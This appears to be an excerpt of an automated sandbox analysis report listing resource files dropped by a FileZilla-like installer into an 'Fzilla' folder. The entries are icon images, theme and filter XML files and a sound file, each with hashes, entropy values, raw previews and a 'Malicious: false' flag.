SHA-512:	7C847CA4B813CD5AB762D10FE28D3CA09B0C346CB0DE780D8F680FE9DB52C3A3F111C6F2C9CAD78FEB406B7ABDB808BD35056AE1418B2190D01E76F776D18610
Malicious:	false
Preview:	.PNG........IHDR.............J.N....DPLTEGpL).),.,,.,,.,,.,$.$,.,$.$,.,%.%$.$%.%%.%.V.,.,,.,+.+$.$(.(%.%(.(-.-,.,$.$0.0,.,,.,%.%,.,,.,&.&.,.,$.$$.$,.,%.%,.,$.$,.,$.$-.-.8.8,.,$.$...+.+,.,%.%.+.+$.$#.#...+.+,.,&.&,.,(.(....................................$.$!.!!.!&.&&.&,.,!.!....j.#.#....=."."-.-.......... &.......r..~.,.,+.+".""."....m..R....',.,%.%. &...5@y....htRNS.$_........._.<...=.w.w....N..1D.K...U@A. ............Glk\|..............{..Q.n7.R%.P[Ff...;C.....88!.6.w....IDATx^..[SZI.......0.x6QD...N.I5F.E33...g...n...s1}cI..m.../..aW...3J$.....Z.y.....L.!...Q{..+76.E.(?1i.q......M...6\...i...Gm[..\.!..Kk...{.G0ha.v.....Z....v.%...E.K`..A.h~.v.:y....9pa.1Gofm.]..X..}L`...8.-...n.1F..c..../....v.[4b...#\\|......].E`..x..h...X..P4...#Z.]...5....<.8.....E.Q..U..>.J6......w..^C.P2......D..=.>D.x..C3...5..G...b..U.7!..{.z..1.....U......,$c`sx....B...^....f`s....R.d.l.YH........ ..7 ...M..........1..Dc..$``..Y.\.h..h.l ... ...B4..B4...........i001010101p........

C:\Program Files (x86)\Fzilla\resources\default\is-CAPKU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.070806606480616
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKy8/I+aQmOT+SVKLDj2K/oHVQIKe:TMHdtAg7gIcmOPoDjlgHVQIh
MD5:	75A54B0F2673D762239BC479579AF93D
SHA1:	13BB8FEA1C2E296AD1516DF1D565E2CEAF2D9484
SHA-256:	209F8ABD4D06BA609D1D92943CCD2B7EF8918E88CA3F159AB8D1D6FA82EBCDA1
SHA-512:	8F4AD697B0073307A9DD5559C702F30BB52AADF48F875707691A2480A9BAED48EEC34089ED1BE784358FF7EA213B68C62B972CC24278E6C32B0FFD397C2A0E0A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Default</Name><Author>Martins Svarcs</Author><Mail>wtastudio@gmail.com</Mail><size primary="1">480x480</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\default\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.070806606480616
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKy8/I+aQmOT+SVKLDj2K/oHVQIKe:TMHdtAg7gIcmOPoDjlgHVQIh
MD5:	75A54B0F2673D762239BC479579AF93D
SHA1:	13BB8FEA1C2E296AD1516DF1D565E2CEAF2D9484
SHA-256:	209F8ABD4D06BA609D1D92943CCD2B7EF8918E88CA3F159AB8D1D6FA82EBCDA1
SHA-512:	8F4AD697B0073307A9DD5559C702F30BB52AADF48F875707691A2480A9BAED48EEC34089ED1BE784358FF7EA213B68C62B972CC24278E6C32B0FFD397C2A0E0A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Default</Name><Author>Martins Svarcs</Author><Mail>wtastudio@gmail.com</Mail><size primary="1">480x480</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\defaultfilters.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text, with very long lines (2451)
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	4.747682783202365
Encrypted:	false
SSDEEP:	48:cWb3FaIsL8PmXbE50m2bRkgbpEbz4XfZe3e3e3e3eiM:pb3UIAbZbFb6bgM
MD5:	9994A10E6EE72A5AFD26CBB582E946E8
SHA1:	C4B507E64A476A260974C17F2E13E6C41EF19CB9
SHA-256:	27B4C87E3F1A75CE58CCE51086D8445E3C33590111A258BE8344B842F74C05D0
SHA-512:	776EF79C8E72695D3A142438F441A85BB5043D584F6DD5216D4D8E7357DFE19871F775059212D3C7DD2D8679463056222224A27EE7D544BEADB1A2A921A27EC5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>. . These filters are used by default if filter.xml doesn't exist in the user's. settings directory..-->.<FileZilla3><Filters><Filter><Name>Source control directories</Name><ApplyToFiles>0</ApplyToFiles><ApplyToDirs>1</ApplyToDirs><MatchType>Any</MatchType><MatchCase>1</MatchCase><Conditions><Condition><Type>0</Type><Condition>1</Condition><Value>CVS</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.svn</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.git</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.hg</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.bzr</Value></Condition></Conditions></Filter><Filter><Name>Useless Explorer files</Name><ApplyToFiles>1</ApplyToFiles><ApplyToDirs>0</ApplyToDirs><MatchType>Any</MatchType><MatchCase>1</MatchCase><Conditions><Condition><Type>0</Type><Condition>1</Condition><Value>Thumbs.d

C:\Program Files (x86)\Fzilla\resources\finished.wav (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
Category:	dropped
Size (bytes):	81088
Entropy (8bit):	6.4967751447299955
Encrypted:	false
SSDEEP:	1536:G7qQLiPKin38KlwXXUDlbAiuVdUqXk1XWL/MAtfCG6gxw7vQWiVlb+a0S8bjzK/:GkKi/7NAR7nWEEAdj27I576BJ4
MD5:	B495C090044C169829C4DBAC2FB97130
SHA1:	DDA3270B95DE7B77A9FB753C74CC0498CF02FA3E
SHA-256:	E98EBD6282CDBBD74B316F075971D61032FE8DED0A7EBA7F4F826877E16C9D43
SHA-512:	BBFD48F4E36AFCBC82C254AD291B6AC850CD176710D7637774DCE508DDA161A0474C809A25CDC551A5B5AAFC4822D68385A0A70B48C85F9F3074175315696B57
Malicious:	false
Preview:	RIFF.<..WAVEfmt ........D....X......data.<............{.q.q.x.......,.^...........\|.a.F.K.N.5.......}.p.......+.G.o.q.P.&...........E.....1...$.Z...".y...........\.P.T.W.m.w.".z...~.x.....!.......7.u...u.....[.........................l.P.x.....;.......N.m.9..........z.....s.............w._.......9.l.........N.p.....`.....x...].................M.....8...\.n._.......=...).F...).8...'.........a........... .......-.........i...Z............a...w...1.........t.....$.......b.........B...0.o.u.o...[.....J.p.............e...7.w.>.........s...P.....K.....`.c.a.E.o.{.......5...........}.....{.........~.R.........;.....o.....q.7.>.#.8...-.................../...T.<...;.".......-...;.....@.....#.......$...v...m.<.`.H.U.k...,.L.........3.......o.....:...A.k.^.....".......e.g.....5...G.....9.....9...../.I...w.{._.....O...H...G.............................+.Z...P.......o.O.....Y...4.:...f.......L.....E...O.......z...j.t...:...................s.......A...".m.......................d.....".a.....[.....

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	638
Entropy (8bit):	7.534076223217043
Encrypted:	false
SSDEEP:	12:6v/7ZhG4E+LC4i6ECSoGRc4bIpwQlr7carB2S8j2zqGFj779eA/29l0Uv:wg4Ho2Soc/spll3cQsSLqGRlel5
MD5:	1DAFC9FCAA6D1BFB1E3BA6AA8FB6E865
SHA1:	C2F83807BF1749CC2398E867A706B6F7846545CF
SHA-256:	DE18C305A576CF63065F0BE9422EDCCB20977EEE208FB3E79BED72F7EE7A357A
SHA-512:	B90F8B22767C0A63A42A61228294BE4D962D5F8F2E1DC6C7A23A5BC7250C0FD280DB7113DA0D8F1DAA7206A754F07C84EF09D94E893F41930FBB4749EED08EF9
Malicious:	false
Preview:	.PNG........IHDR................a...EIDATx.bHLLd.}{.[.._.t.+..-[.,........d..v.....E..#.Oa..f.....T.........5....2.T......E.IU....o..4....U..;..\|>_.\..Z..R.....~K.R..N.N....~v:...GP.N.KS..c......4..+A@...d2.v..~..n.cM..`.\|>.b..x<.P.....p. .....r9.).J.........F...X..8...`.j.B..D.V..Td2..\.........BE...u.7B.Nd2.......y.J.X,F.......t..p........X,..` .l.n.....v..)J&.\|..N..j...BP...f..l6.H.....F....z=.@$.A..C".0.4;.. .=....U..F..f..h4. .<....d....O.....!.....a.ZY.(.....D"..D"....t&............O:\|..D.O.........K...>..4.b.@:............@0P.*.Z.....F.r..$S....I.......`...}.O..~..!...#.......'H/.&...^V.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.534440401683116
Encrypted:	false
SSDEEP:	12:6v/7E8fD+yDBNGImIAT7KQQhJLRNnRqOUnbdgf/uXc4aM1nk:L8fNNGImPHs9RUbdCuRTk
MD5:	B12CDE4CEC51BA2F84E09D9E045D257C
SHA1:	A4700E59C04A2F0FC1B20C3D3879B593490210C2
SHA-256:	1C6F71323BB543922D8623281A390D772EF92BAF1D79083309C2E9D464CBB0CF
SHA-512:	EC65586322046558714880D98CA57372123E544A4F5926B5994A47D082E3F3D373C0C332356F87F45A2F3835B28ADFECE056358C7D9390EE7506CBC77C9D6EC9
Malicious:	false
Preview:	.PNG........IHDR................a...sIDATx.b..'''....>......?."77.........E..Q+`........+.ka.......N...3So.6n.<.......?.. 0==.....{...x...\AA..<`.u....tUU.<. 8.....B!...y....F.Y..E...d2..N.I....gGEE....\.z.j......I..u..u.r..h.O..9.................sy...b..B&..dy....dI...P.Q..GG.x.bE~.d...(w..f-L7....K..s...="..F9s.LQ~...a...7k2...i..R....cF.p.........;2S.A.@..kR7..e3@....:uji....m?...8uC.^..x....#x(....v..=h..r.6......4...<..N=....'.v..U?. .&...Z...<..CW...v$E*.......w...a..=-EeE.I.J@.......dp...2..Eq.......m...........Y..,..0.]..d...^'.H.H2._]....3pK.....8o..'(.\.x.....`......_.x..{O.I...c.7b#c..93..Kk........ac)H/....m...a....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	634
Entropy (8bit):	7.518749902993462
Encrypted:	false
SSDEEP:	12:6v/7Tljd0CgH+eDJ5eZpiCaZOLZhwPZpBR6NmZonLfZDZDr00s6gyQ/ZoP08c:8jGD+eDCpiCCH3gt00s6xcoPVc
MD5:	6B5831512E5C666A6957FD141EA81E01
SHA1:	84FE38932A439EFFBB5C14682031F6FBC1DCCC28
SHA-256:	57BA9197221718B2CFA1655980F9DA18C63D9ADB841CCEDE61FCA577A28588FA
SHA-512:	45CEB43D6B361D9C72F3077E0A868B2D9655777F8DA30B1C45C94E93FD5D5B17DB241C64A8CF78CE73DCC0688778D9939D36FCC89A7FA8DF6177270180F2CE78
Malicious:	false
Preview:	.PNG........IHDR................a...AIDATx..S3.\......m..b...:.q...>.m.m...}....EFF......Xwvvb2.T\.ti........8q.[xx..B.@OO.FC,............J.;w.1.r.\u....iii...D"...b............k.F.X..pX.....B}}=.......HFWhkk.........8p@o....[ZZ..'Dimm...w.Z..3.`.R.......................J...?.`.y!.H......\|N.Fk.@.Q=z...W...g.l.2.../^`.........0.a......}.6^.z./_.....`/2..\|GOO..% +.,//...%.Y.....+WB..8..Dc....`y....#....Q[[.>'F..b.F...HHH..[..m.6...;HDR...a...j..r].uSc.._.JJJ...K.....=<<0o.<P....Jc......C....... '.m...2.........$J....v,...M...v.....o,......?......ou.z.D.(''........,.:..M.....8t.P.....{..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	7.039739482097343
Encrypted:	false
SSDEEP:	6:6v/lhPWAlllJ8c6EIQ+mYk7NiKZQy49a4+pAaB8dQ2fD6c/g8QVf5Jgp:6v/7xB0jQ7JNZQwp5ipfg8Q7Y
MD5:	0598026856986DA9BC8D68C9D54DCE55
SHA1:	210BE5498F1155C80F4D127A87E381F7E4923B03
SHA-256:	142D8DF4B61AA8DE96B58AFAFFD6B9EE89ABBC882061A533777B08E023C87566
SHA-512:	FD3446A787AB59271A5C9E8B261474F2AC4EE8550F3166D5E94A8ED7286B1534275658F85131D475176E10D50494CF6057530E0324B2C2C14D3FFE216D101A06
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.\|.../<....4.......f.!7..-......4........Y...Z..`...I..&(o.>....{.j.5..- .... .......OH..._`.?.k..X.V2.'.K.+....x}O..4...E....].(.x. k..A5A..;......./....&.@.8./@..h..s._.K..&.`..}s...{.......?...O...'.o3rM...).M......._.......o.{.....~..(6....?.`f2.]....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	548
Entropy (8bit):	7.484554583702818
Encrypted:	false
SSDEEP:	12:6v/75k0NDOJDrLK2AmQ0g+dWEv6EyWCr7LA2It7:8k0NC9rRAmQH+dWfWCr7L49
MD5:	989EAF92A59E8AF310365695629AF61C
SHA1:	3DF816E0943C1F493B1017F2529EB46C2029E981
SHA-256:	BA3354576FD955B00FA485D54C9979E563C4D6231D9EBE253F320A7B26DED29E
SHA-512:	FF854E1C34D08A981A30AE1EC0893290D0129A724C3FB266612A7974AA4FF6CB3C4B9F302BF3FD8A50235D351B190FE9FD90A27A2632A62718831AC72BEDDCCB
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b....n...Uj..#....m.VT.6....m..m{..f^.........wv^.@H`..g...s..Q?ZPH.....alM8T...'....B.4])d..?u"....\|..A.....dL.2........M..Pw..n.>k.U.......d..5...S......:..\.........5.lH.....A....P..q.kfn.C...[.{.I.M..}x+2..o..q!.......3.@.Nt..0.....V.R.LT.Y.W..s......Q.............y"'..A3.i.@$.1...]...kV.....A....G"..#....."..*.Y..3{...!..J.X....Y=...Hn...IN...p.l%...q...#+.G..iN....5....b../..e....8M7A..%f.+.3.!... ..2HYW?.q.QD.m..P1...@._...zwxg...K.g........Y.Jz...Zn.X&.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	560
Entropy (8bit):	7.541145966641534
Encrypted:	false
SSDEEP:	12:6v/7F425cDXSMWVW++2EZ88qQ+t6VQTUEHPn2+OIUNx:A4j4VW+EZ88qrTLPj2
MD5:	F5D5C63156F9F79D0C881F3E28DEB9D2
SHA1:	9180CB55A9DBE3D36F8806467BE4613BDA55B4AE
SHA-256:	C2FF72BD759633AD8B4EE6D70C377220BA237C58AE67EBA0C129693C4FF6D183
SHA-512:	484CE1E1B9B8101D48BA25103592CF04CD18538947202577F2A3848E7859C8F46FD46549CC7206DA33C878405AFC3AD0B87F51A1BF44A8D1062D180873156E60
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b......_>~..J..r...m.\|....m5......m.}&.6.r.g...4.Lx....;.n...G.B.l....e...E..y.Z..iK)d2......49..>.k.s+.....sJ1.n.0.f......3.a0..._M.9...c...`....u.m.o...d.}..e.tH..;l.hZ.k....2.:........\|.&.vq(...;!.A..)...... Z.:$.N....b\|...De..[.a..Z...5..J...J.o@X.%.F!9.....Z.@.-../^.^.x;. 2..?.%!...B.L..{.B.SB.!PD.a.A.6!....,........5_.1....z.4..b6......=gS...m......25..J........\.N..I.........S..8........:..A...0.......-.............c.$.Bg#..p. .d7.l..O..\|!..@6...p......"sb....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	623
Entropy (8bit):	7.605757834324087
Encrypted:	false
SSDEEP:	12:6v/7IC4tq8eZ37gn9zRtCbeYb13M2V89VtJgxLC/4SwT9:1C4lCKhNYR8+8btJcLeVwT9
MD5:	702E99741F314CBFD4109657B06A9AC9
SHA1:	E63418919F39F516200DF34D6B393585E8083C42
SHA-256:	73B86CBB4073D7C2642FFC6A7EBD590134D11B3FAE21CC22E85378F5A2658D32
SHA-512:	A8B27D32BEDC956A76E81AAA006A66DC45C3A3844D0405F93E245CDCF560605229102013F8ECA4252A14AB94521942EEFF9EB7303C362DE5E065508ABD2ADFB3
Malicious:	false
Preview:	.PNG........IHDR................a...6IDATx..S....CS.m..m.mck.m...5...c.\|@...?hdJ^IZrn.......g...{xT..X.~.a.&........i.s...'..S^C..tK...x...).5.9.....rL.Q..{<..b....."U..O.x....g.?..mf..b.z.H...^.].!:..$.J...!R...~...j....S.t.."....d=E^.....Wz........,.9........5...sg4.7.\.......b...3.\..{..$.{W..-...).E..N._.h...t...)...N.....f...L...4.d....u..&.~...............3"3..'v...........B.__0.&(,)a..Y.d..K..I..M..<...G.....E.l..4.....].R....-.......<....V.0..+WLe.i..r...ow.$.<...d&Q..j.e]......i....h.o.8p`....z'7.u>F:.6....-...@s.[@...rr.....KmAk c. \|.'....Nae[..6.....T...I0].LZ.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	7.137993945394194
Encrypted:	false
SSDEEP:	12:6v/7/dOiE78uhfGksUHVFoxQnmxRJSWkcMZ+r0C42L:qZuciFoxQmjJAceC42L
MD5:	8DB82EF833AAF9D239AE3862100EF484
SHA1:	A868997A684E2A323656A22ED387590E684574C6
SHA-256:	B71CB2106CAC049EC3BB7663278EFA31C8ADCA7E898280E2A73ABA2E3EAD652F
SHA-512:	AEED8EADDC4E2BF334CA783F1156ABB204F0B61B83F4DE69E92C3830E9C7B0DE1DD3FDAE4FDB3A32C6AA3748750F991025C894EC7AB212C5134F618751A62B56
Malicious:	false
Preview:	.PNG........IHDR................a...eIDATx.c`..8....Y.<..~..?.M[.s.n........W....-&G.~Nn...e.^5....ODV.h.....^)...,.K.<._.....o..6%=gk..yD...7........U....zR......[...._...+VN....0.....Oi..........6Ap....:.$......7.R'..i.jn...l.IR .'.Tv....m..f^Y...;+'.. ....'..?...WX...n.].l.<...B.`9......a.p..O..o^V,..._.......b@\......Db.p........7nB...@..U.r...g..O.0....s..?..(~<......0}........Y....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	571
Entropy (8bit):	7.357843398812955
Encrypted:	false
SSDEEP:	12:6v/7jDrfSjDlYUeuXi4iB2sh3FbMc2dobnTnrv47ZiN:Ir8lYUe2e2sh1IVS3vTN
MD5:	F639FC64785033EEB01CF56D647C001D
SHA1:	C2FC2BF6822397F7A66538B30BB29B97AFE897F0
SHA-256:	C33E12F993DA6C91FAC78BA3B259FF81C13C73938075E81556A823964CE66A23
SHA-512:	48B60B84F42F29EB797606082EC4B29398312C49C2F9557DB120DD7B876449435C1418D10564C79FF01B02A802490CF167E4221F832E19B71F10403A9E1FF0AA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c@.....%...#........Y.%../j..#......Q.a.3_..._.7...-. .,....R...B.......X..qp./z..y..?B.R 1v)+.ny..1..^....5.....OI.spp.+..kT7.rwO.n`bfe)...E...?..T$<S&.;t.....Y........\|e .?..A.]./(W...g.....s...{..a../Im.......v.....@.5......W...0..Q....;D6.w....c...M..x........u\|.....3f.. lV\.....[k...k\G].........q....m.+2a....Izm@..mg.RS...... ..;..../NE..V..P.\|A!..y6A5U.... .7?wP...^....8y88y...x.!.OD.._L.[@L.......uS_..5._......+..yY....~Q.....5...8.E`..b....t~.F ..b#....'=..4.......`.Q.x.....K{<a...5.V..)....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	270
Entropy (8bit):	7.015272532597241
Encrypted:	false
SSDEEP:	6:6v/lhPO6xAwQAF1EJSKZOTbhFm8ch7yOeGGmG3bp:6v/7P2AkHZOJFuyOeG0F
MD5:	04C9BF0E976D58746509191EB544DD5C
SHA1:	8D66AE72F3AA5779D2DEDABB05836B125BE934CF
SHA-256:	1AD78DC10FE08FD8BAC26AFD9D6DE513B3D63D141B0F8E51CB487251E9963A21
SHA-512:	EBA144833097C513BA1321A8626DA7319B100F6B8182C6B8F36C284A5FA99E52421EDD51E0660F3B931BAC94CA43AD28CE7C6E5C84E8DD23B32E9E66AA959053
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT(S..Mj.@..a..-<.[.....]..z.M1.,J........`+.wf.J..&Fp^..<\|L...9.f.I...H....7IPo.."...Q\|.a..0..G...C........B". p..y.xl8#Q.X0..bj.c./hB~.......?.Xg...(......>'4...#._...ln.........k..]Y.N*..n.......W."1]...C....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	182
Entropy (8bit):	6.373621698738607
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtYDCXgiukAYZNL/OY97gppJNgagHRPLfckknVe8B6kF+VQ:6v/lhPO6WfwZx/Om7mJNhgHCVjBPkF3w
MD5:	8C4257477AD350959B683DFCF193C8ED
SHA1:	E34A8264249F3D056FD4889365FAFB48EC01F884
SHA-256:	8E20DCA41C350BD2081603DDF55DD42310F15BCA2F13FECD1E0BAEB76431A277
SHA-512:	537AAEE647341B89E8A34AEE5CC108837C0114B3081B3BEC143A4D61513E348BA3FAE5C24A6F94ECD3372D9E26F2AE1095C2B3FA6AC92160DA40C1097504313B
Malicious:	false
Preview:	.PNG........IHDR...............7....}IDAT(.c`..x...z/..>....M.........0.....h....~..o....}.~a.%T.,....V....b..2......t..v...]x............?.....Y.... {..0.....5DS..J....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	503
Entropy (8bit):	7.476611124995403
Encrypted:	false
SSDEEP:	12:6v/7kQCavFP4Q9s49rORSFQd/mHDpUGOX78Vx0q7WnuK9:mCqh4Qd9rORwlULYDgT9
MD5:	AB8EF66EDE19BEBB12708C2366B53149
SHA1:	E6B1AE94F256DEDCC2A2159485A3F560F799B562
SHA-256:	6AD756F2BA1526759F04C778BC706F8E8FCCA1D911EDBCE572CB3981A322AB85
SHA-512:	54B697D8C5AB290A6AF7336C4F249EA961E97572FDC7B4BEAB6D5B5DF0B6EAEF57F4A04E4051AD9B7E0DB3347A89AB21A0A174D77AED437120FB6E261A9ABCCF
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b......8.Z..Q..l.r...g.m.m...g.]...N.f...8.......u.....H....HMM=...?...........H$.D"....a.m....X$....k.......NI... .y...As.[...B....rt...^j..e..lhh...)n/...Rg6.4...........}...Y....#..tw.-89E./....5xR@1..f..y.W..1.=..+.......0.....xY....../tN.o.x....(..p\iL.H....nG.@...(.-.7k"...y..'..........^.h.).T..c;...aHN.?...})...........ee.zDK.d.;.eO..=iX..7.K.......$7....H.P"...{.*+...z.......[jkk..h5.U.....m.......j1..x.7....4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	411
Entropy (8bit):	7.295120788949264
Encrypted:	false
SSDEEP:	12:6v/7NEwP4aX4PHBzUOyawWTOZlnmcWi8aRB7:C2aoPXya1SZlnmcW3aRp
MD5:	7C3F5DFB8E30E246F247003254BE0AA4
SHA1:	E0FFC337E1FC46A8FF757517B47D1BD97BC041B1
SHA-256:	0BB90CC2902C9A9B9386137864267E40B44507C745D7A2347579A671E8B9FADC
SHA-512:	437B0592FB3CF2352DF02538422D6A897AB48EC6A718579575719DC57A4FAB37E542A48FE33ED77AB855B16B517D94B1FF768A86DC91F384A810CC0E399177F3
Malicious:	false
Preview:	.PNG........IHDR................a...bIDATx.b.f..........o._q..y......l.......F.._.{=,..HP...@..B..6.. .0..M.C.m...>..5{....l.m.}......>..\N..>...eV_TZ....L.....Y..;p.N'3....c..7.@'........%9..l......NG`.$.J.(s3B.328..a.g0.Qx?H.E?`.......;..!i0.}=........$..&H2C..5n.*...o".\D..w....f....K2.Bik.G.?......}\M\|.J..%Ev.c.f{....$.H,....d...\a..jd.6.Z..m.V\|.6.[..A..<-..\|,;.I{.....8).V=....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	340
Entropy (8bit):	7.072327278622731
Encrypted:	false
SSDEEP:	6:6v/lhPWRQS0J11YRjMxali5xZ7QaQhKLkF+pdocfv7sAVqahX7dAThPjp:6v/760J31aliDQKL5o27nXaT
MD5:	594D5849BCEE210458D71A7E73972F04
SHA1:	C941D9F869B31FDC224BBB804E56022F9342A17E
SHA-256:	BEBCCE52E3E8F61DAED6BB5D9C807BED44A148B5E18E41D28CA917D70C59AD1D
SHA-512:	85C636F10D4702B75C368B7DCED974D1598FD2C6651E97A88189A968B4F3AC927D99E091DB3F69B1C6F591D51E0AFE8787073C236E64B64B83D79DE4461C95A0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..5..Q.@_.....C.. $........M.....w..{...K9..a...W..5....K..C..../K..G\|.{..W.<._6.^o=\|..l...5..............7.....w..@.2..._.....t..x.....l..........`..L8E.....qbF...<..v.~GI.....C...FU....+.. Z..fa0.U.. ....U...@.....\..N.X !F...o..... .........U.<.1.........%?....G.]$ou.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	313
Entropy (8bit):	7.058623871364096
Encrypted:	false
SSDEEP:	6:6v/lhPWdmieP6HD/CG3UxPX3uUk/Ni7WUJcQrGnk4O/7qvmbNCzmvtKW2fm3nUVp:6v/7yFH+uWPnuUkViqOHrGnMnNamvQ/l
MD5:	26F157F55B230ACF358C0AB56B33B310
SHA1:	00D94E8A67400143F01CF93656A306B88379D1B6
SHA-256:	731AEF09E1554C428EF3DBB1D3ECF7889DB5B4EE680130F432DF95125E329BAF
SHA-512:	C974225D52F3617C4EF3CD303D0EDBA6739B0746C37B9C76CB9FE74349D15424E57F7825B3D836474A7C95853F5EA375EF13D400C8B71984A152A5810FC4F220
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c..`c.D...K*.....(.&Zcpp0k&...S.....$......D..>.-.<K...\|.G..C....].I..@;a.Q.<...(K..].1}..V..w..+......5.9J...JL..`..,..G..~..+<Ar@Fs.f..J.q.;....[.I.5YDt....?$...Y%.d..9.......g.I'+..2........XD.&.x,.fW. ......8...g..A...qz..&-.....0.....P...E....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\16x16\is-32LTN.tmp

Download File

